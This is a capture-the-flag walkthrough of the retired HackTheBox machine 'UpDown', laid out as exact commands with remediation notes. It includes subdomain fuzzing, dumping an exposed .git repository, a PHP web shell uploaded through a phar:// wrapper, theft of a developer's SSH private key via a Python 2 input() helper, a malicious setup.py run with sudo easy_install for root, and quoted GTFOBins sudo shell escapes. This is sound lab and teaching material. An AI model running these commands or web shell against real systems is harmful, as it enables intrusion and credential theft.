UpDown
Summary
I enumerated virtual hosts on the target's Apache server and found a hidden development site, dev.siteisup.htb, whose .git repository was left exposed. Dumping that repository handed over the site's source code, which revealed both a secret access-control header and the exact logic of its file-upload filter. Using that knowledge, I crafted an upload that bypassed the extension blacklist via a mismatched file extension and a PHP stream wrapper, achieving remote code execution as the www-data web user.
From there, a SUID/privileged helper script running Python 2's dangerous input() function was abused to run arbitrary commands as the developer account, which was used to steal the developer's private SSH key and read the user flag over a proper SSH session. Finally, a passwordless sudo rule allowing the developer account to run Python's legacy easy_install as root was weaponized with a malicious setup.py to gain a full root shell and capture the root flag.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 4
nmap -sV -p- $TARGETecho "$TARGET siteisup.htb" | sudo tee -a /etc/hostsffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.siteisup.htb' -u http://siteisup.htb -fw <base_word_count>echo "$TARGET dev.siteisup.htb" | sudo tee -a /etc/hostsExact commands 2
curl -sS -H "Special-Dev: $PASSWORD" 'http://dev.siteisup.htb/.git/HEAD'git-dumper --header "Special-Dev: $PASSWORD" http://dev.siteisup.htb/.git/ ./lootFixRemove version-control metadata from deployed web rootsHigh
Exact commands 4
mkdir payload && printf '<?php proc_open($_GET["c"],[0=>["pipe","r"],1=>["pipe","w"],2=>["pipe","w"]],$p); ?>' > payload/info.phpcd payload && zip -e0 ../info.0xdf.zip info.php && mv ../info.0xdf.zip ../info.0xdfcurl -sS -H "Special-Dev: $PASSWORD" -F 'file=@info.0xdf' http://dev.siteisup.htb/upload.phpcurl -sS -H "Special-Dev: $PASSWORD" 'http://dev.siteisup.htb/index.php?page=phar://uploads/<hash>/info.0xdf/info&c=id'FixReplace the upload extension blacklist with strict content validation and disable phar executionCritical
Exact commands 2
printf '%s\n' "__import__('os').system('id; cat /home/developer/user.txt; cat /home/developer/.ssh/id_rsa')" | /home/developer/dev/siteisupchmod 600 /tmp/updown-developer-id_rsa && ssh-keygen -y -f /tmp/updown-developer-id_rsaFixRemove the insecure Python 2 input()-based helper and its elevated privilegesCritical
Exact commands 1
ssh -i /tmp/updown-developer-id_rsa -o BatchMode=yes -o StrictHostKeyChecking=no developer@$TARGET 'id; cat /home/developer/user.txt'Exact commands 2
ssh -i /tmp/updown-developer-id_rsa developer@$TARGET 'sudo -n -l'ssh -i /tmp/updown-developer-id_rsa developer@$TARGET "mkdir -p /tmp/updown-easy && printf 'import os\nos.system(\"/usr/bin/id; /bin/cat /root/root.txt\")\n' > /tmp/updown-easy/setup.py && sudo -n /usr/local/bin/easy_install /tmp/updown-easy/"FixRemove the passwordless sudo rule for easy_installCritical
Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |